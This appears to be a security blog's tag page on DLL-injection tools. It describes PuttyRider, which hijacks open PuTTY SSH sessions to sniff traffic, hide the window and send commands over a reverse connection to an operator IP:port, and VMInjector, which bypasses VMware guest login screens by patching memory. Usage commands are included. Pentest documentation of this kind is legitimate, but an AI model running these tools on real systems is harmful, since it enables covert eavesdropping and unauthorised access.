Nexus: DLL Injection

PuttyRider - Hijack Putty sessions in order to sniff conversation and inject Linux commands

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PuttyRider injects a DLL into a running putty.exe process in order to sniff all communication and inject Linux commands on the remote server.

This can be useful in an internal penetration test when you already have access to a sysadmin’s machine who has a Putty session open to a Linux server. You can use PuttyRider to take control of the remote server using the existing SSH session.

The tool has been recently presented at Defcamp 2014 – a security conference in Romania.

Presentation slides: *http://defcamp.ro/dc14/AdrianFurtuna.pdf*

Examples
List existing Putty processes and their status (injected / not injected)

PuttyRider.exe -l

Inject DLL into the first found putty.exe and initiate a reverse connection from DLL to my IP:Port, then exit PuttyRider.exe.

PuttyRider.exe -p 0 -r 192.168.0.55:8080

Run in background and wait for new Putty processes. Inject in any new putty.exe and write all conversations in local files.

PuttyRider.exe -w -f

Eject PuttyRider.dll from all Putty processes where it is already injected. (Don't forget to kill PuttyRider.exe if running in -w mode, otherwise it will reinject again.)

PuttyRider.exe -x

Usage

Operation modes:
    -l      List the running Putty processes and their connections
    -w      Inject in all existing Putty sessions and wait for new sessions
            to inject in those also
    -p PID  Inject only in existing Putty session identified by PID.
            If PID==0, inject in the first Putty found
    -x      Cleanup. Remove the DLL from all running Putty instances
    -d      Debug mode. Only works with -p mode
    -c CMD  Automatically execute a Linux command after successful injection
            PuttyRider will remove trailing spaces and '&' character from CMD
            PuttyRider will add: " 1>/dev/null 2>/dev/null &" to CMD
    -h      Print this help

Output modes:
    -f          Write all Putty conversation to a file in the local directory.
                The filename will have the PID of current putty.exe appended
    -r IP:PORT  Initiate a reverse connection to the specified machine and
                start an interactive session.

Interactive commands (after you receive a reverse connection):
    !status     See if the Putty window is connected to user input
    !discon     Disconnect the main Putty window so it won't display anything
                This is useful to send commands without the user to notice
    !recon      Reconnect the Putty window to its normal operation mode
    CMD         Linux shell commands
    !exit       Terminate this connection
    !help       Display help for client connection

Download PuttyRider

[DLL Magic] Tool to Hide DLL in any Windows Process

By 0x000216

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[VMInjector] DLL Injection tool to unlock guest VMs

By 0x000216

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Overview: VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.

Description:
VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.

VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector injects a DLL library into the VMWare process to gain access to the mapped resources. The DLL library works by parsing memory space owned by the VMware process and locating the memory-mapped RAM file, which corresponds to the guest’s RAM image. By manipulating the allocated RAM file and patching the function in charge of the authentication, an attacker gains unauthorised access to the underlying virtual host.

VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation systems.

The in-memory patching is non-persistent, and rebooting the guest virtual machine will restore the normal password functionality.

Attacking Scenarios:
VMInjector can be used if the password of a virtual host is forgotten and requires reset.

Most usually, this tool can be used during penetration testing activities, when access to a VMWare host is achieved and the attacker is looking to gain additional access to the guests running in such host.

Requirements:

Windows machine (with administrative access);
VMware workstation or player edition;
A locked guest VM;

Usage:
VMInjector consists of 2 parts:

The DLL injection application (python script or provided converted executable)
DLL library (x86 and x64)

The tool supports both x86 and x64 bit architectures by providing both DLLs. One may use his own DLL injector to select the guest virtual machine running on the host.
In order to run the tool, execute the VMInjector (32 or 64) executable provided from the command line as shown in figure 1.

Figure 1: List of running guest machines running.

VMWare runs each guest in a different process. VMInjector needs to be pointed to the process running the guest which requires bypass. Once the user chooses a process, it will inject the DLL into the chosen target.
Once the DLL is injected, the user will need to specify the OS, so that the memory patching can be accomplished, as shown in Figure 2.

Figure 2: Searching for OS signature in memory and patching.

Tool and Source Code:

The tool executable and source code can be found on GitHub (https://github.com/batistam/VMInjector)

Source: http://www.secforce.com/blog/2012/11/vminjector/

Nexus

PuttyRider - Hijack Putty sessions in order to sniff conversation and inject Linux commands

[DLL Magic] Tool to Hide DLL in any Windows Process

[VMInjector] DLL Injection tool to unlock guest VMs

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